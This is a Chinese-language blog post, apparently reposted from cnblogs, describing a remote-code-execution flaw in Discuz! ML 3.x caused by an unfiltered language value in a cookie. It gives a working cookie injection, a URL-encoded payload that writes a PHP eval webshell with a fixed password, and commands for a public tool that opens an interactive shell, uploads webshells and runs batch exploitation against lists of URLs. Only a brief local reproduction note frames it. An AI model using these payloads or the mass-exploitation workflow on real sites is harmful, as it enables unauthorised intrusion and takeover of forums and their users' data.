• discuz!ml-3.x版本getshell


    影响范围:

    discuz! ml v3.x全版本。

    产生原因

    漏洞原因:Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。

    利用exp

    1.cookie字段中会出现xxxx_xxxx_language字段,根本原因就是这个字段存在注入,导致的RCE

    2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'

    3.getshell 的payload:

    '.+file_put_contents('shell.php',urldecode('')).'
    进行url编码:%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27

    即可在路径下生成shell.php,连接密码为1

    利用工具

    工具名叫:dz-ml-rce.py ,是用py2写的,可以在github上下载。

    断是否存在漏洞:

    python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"

    获取交互式shell:

    python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell

    上传一句话木马getshell:

    python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell

    连接密码为“x”

    批量检测:

    python dz-ml-rce.py -f urls.txt

    批量上马getshell:

    python dz-ml-rce.py -f urls.txt --getshell

    本地复现:

    搭建好一个discuz!ml 版本的环境,我搭的是3.3版本的,下载源码后直接一键式建站,建完后访问主页:http://127.0.0.1/discuz!ml3.3/upload/forum.php

    然后用工具测试:

     发现存在此漏洞,那么直接获取个shell回来:

    此工具针对此漏洞还蛮好用的。 

  • 相关阅读:
    Linux Bash
    grep 及正则表达式
    Linux 文件系统
    Linux 操作系统基础
    常见的磁盘I/O和网络I/O优化技巧
    NIO的工作方式
    网络I/O 工作机制
    spring Boot环境下dubbo+zookeeper的一个基础讲解与示例
    深入分析Java I/O 工作机制
    CDN工作机制和负载均衡
  • 原文地址:https://www.cnblogs.com/-chenxs/p/12023382.html
Copyright © 2020-2023  润新知